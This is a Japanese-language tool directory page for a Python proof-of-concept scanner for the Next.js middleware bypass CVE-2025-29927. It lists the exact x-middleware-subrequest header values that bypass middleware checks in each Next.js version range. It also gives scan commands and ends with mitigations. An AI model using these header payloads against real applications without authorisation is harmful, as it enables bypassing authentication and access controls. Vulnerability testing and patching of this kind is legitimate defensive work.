Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
poc-nextjs-CVE-2025-29927 | Kitploit
ツール/GitHubGitHub/ticofookfook/poc-nextjs-cve-2025-29927
脆弱性スキャナーペイロード生成エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト
GitHubticofookfook/poc-nextjs-cve-2025-29927

poc-nextjs-CVE-2025-29927

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
1年前未レビュー

Next.js ミドルウェアのサブリクエスト脆弱性スキャナー

Next.js のミドルウェア脆弱性(CVE-2025-29927)を検出するための堅牢な概念実証(PoC)ツールです。

概要

このツールは、x-middleware-subrequest ヘッダーを使用してミドルウェアに実装されたセキュリティチェックを回避できる、Next.js アプリケーションの重大な脆弱性をテストします。このエクスプロイトは、Next.js のバージョンに応じて異なる特定の悪意のあるヘッダーを含む HTTP リクエストを送信します。

エクスプロイトの仕組み

調査によると、Next.js のバージョンによって異なるペイロードが存在します:

  1. 12.2 より前のバージョン:

    root@kitploit:~
    x-middleware-subrequest: pages/_middleware
    
  2. 12.2 以降のバージョン:

    root@kitploit:~
    x-middleware-subrequest: middleware
    

    または

    root@kitploit:~
    x-middleware-subrequest: src/middleware
    

    (アプリケーションが src ディレクトリを使用する場合)

  3. 最新バージョン(15.x など):

    root@kitploit:~
    x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
    

    または

    root@kitploit:~
    x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
    

この PoC は、これらすべてのペイロードを自動的にテストし、どのペイロードが成功したかを報告します。

機能

  • 単一または複数のターゲットのテスト
  • マルチスレッドによる並行スキャン
  • カスタマイズ可能なリクエストパス
  • 可能なすべてのペイロードの自動テスト
  • ターミナルへの詳細かつカラフルな出力
  • JSON 形式での結果のエクスポート
  • 堅牢なエラーハンドリング
  • 包括的な脆弱性の検出

必要条件

  • Python 3.7+
  • 必要なパッケージ:
    • requests
    • colorama

インストール

root@kitploit:~
# リポジトリをクローンするか、ファイルをダウンロードします
# ディレクトリに移動します
cd poc-nextjs-2025

# 必要なパッケージをインストールします
pip install -r requirements.txt

使用方法

root@kitploit:~
python main.py -u https://exemplo.com   # 単一の URL をテストします
python main.py -f alvos.txt             # ファイルから複数の URL をテストします

コマンドライン引数

使用例

root@kitploit:~
# 単一ターゲットの基本的なスキャン
python main.py -u https://exemplo.com

# カスタムパスで複数のターゲットをスキャン
python main.py -f alvos.txt -p /api/users,/admin,/dashboard

# より高い並行性と長いタイムアウトでスキャン
python main.py -u https://exemplo.com -t 10 --timeout 15

# 結果を JSON ファイルに保存
python main.py -u https://exemplo.com -o resultados_scan.json

検出方法

スキャナーは次のように動作します:

  1. ターゲットに通常のリクエストを送信します
  2. Next.js のバージョンに応じて、x-middleware-subrequest ヘッダーのさまざまなバリエーションでリクエストを送信します
  3. レスポンスを比較して、脆弱性の兆候を特定します:
    • 通常のリクエストがブロックされる(4xx/5xx)が、エクスプロイトリクエストは許可される(2xx)
    • レスポンスの内容に有意な差がある
    • 認証・認可バイパスの兆候

緩和策

脆弱なアプリケーションを発見した場合は、次の緩和策を適用してください:

  • Next.js をバージョン 14.2.25 または 15.2.3 以降にアップデートします
  • x-middleware-subrequest ヘッダーを含むリクエストをブロックするミドルウェアを実装します
root@kitploit:~
export function middleware(request: NextRequest) {
  if (request.headers.has('x-middleware-subrequest')) {
    return new Response('Unauthorized', { status: 401 });
  }
  return NextResponse.next();
}
ツールをダウンロード
オプション説明
-u, --url URLスキャン対象のターゲット URL
-f, --file ARQUIVOスキャンする複数の URL を含むファイル(1行に1つ)
-p, --paths CAMINHOSテストするパスのカンマ区切りリスト(デフォルト: 一般的なパス)
-t, --threads N並行スレッド数(デフォルト: 5)
-o, --output ARQUIVO結果を JSON ファイルに保存
--timeout Nリクエストのタイムアウト時間(秒)(デフォルト: 10)